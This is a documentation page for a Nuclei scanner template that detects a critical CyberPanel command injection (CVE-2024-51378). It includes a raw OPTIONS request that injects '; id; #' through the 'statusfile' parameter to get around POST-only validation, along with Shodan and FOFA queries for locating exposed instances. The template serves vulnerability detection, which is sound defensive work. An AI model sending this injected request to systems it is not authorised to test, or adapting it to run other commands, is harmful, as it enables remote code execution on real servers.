Skip to content
Nuclei Templates

CyberPanel - Command Injection

ID: CVE-2024-51378

Severity: critical

Author: ritikchaddha

Tags: cve,cve2024,cyberpanel,rce,kev

Description

Section titled “Description”

CyberPanel contains a command injection vulnerability in the /ftp/getresetstatus and /dns/getresetstatus endpoints.The vulnerability exists due to improper validation of the ‘statusfile’ parameter, which is directly used in a shell command.The security middleware only validates POST requests, allowing attackers to bypass protection using OPTIONS requests.

YAML Source

Section titled “YAML Source”
id: CVE-2024-51378


info:
  name: CyberPanel - Command Injection
  author: ritikchaddha
  severity: critical
  description: |
    CyberPanel contains a command injection vulnerability in the /ftp/getresetstatus and /dns/getresetstatus endpoints.The vulnerability exists due to improper validation of the 'statusfile' parameter, which is directly used in a shell command.The security middleware only validates POST requests, allowing attackers to bypass protection using OPTIONS requests.
  remediation: |
    Implement proper input validation, ACLs, and method restrictions for sensitive endpoints
  reference:
    - https://www.bleepingcomputer.com/news/security/massive-psaux-ransomware-attack-targets-22-000-cyberpanel-instances/
    - https://refr4g.github.io/posts/cyberpanel-command-injection-vulnerability/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-51378
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-51378
    cwe-id: CWE-78
    epss-score: 0.97854
    epss-percentile: 0.99967
    cpe: cpe:2.3:a:cyberpanel:cyberpanel:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    product: CyberPanel
    shodan-query: html:"CyberPanel"
    fofa-query: app="CyberPanel"
  tags: cve,cve2024,cyberpanel,rce,kev


http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}


      - |
        OPTIONS /{{path}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        X-Csrftoken: {{csrftoken}}


        {"statusfile": "; id; #"}


    payloads:
      path:
        - "ftp/getresetstatus"
        - "dns/getresetstatus"


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=[0-9]+.*gid=[0-9]+.*"
          - 'requestStatus":'
        condition: and


      - type: status
        status:
          - 200


    extractors:
      - type: regex
        part: header
        name: csrftoken
        group: 1
        regex:
          - "csrftoken=([a-zA-Z0-9]+)"
        internal: true
# digest: 490a0046304402200777f5c29ca36b5d7f427e81eb3799af2dc8ba9a6c92e422eabd6036b390a7ee02206eb8d82305639f12e84d4fe6b99b7fffce5f26582fe3e4a443b8c3d0c641c7ae:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-51378.yaml"

View on Github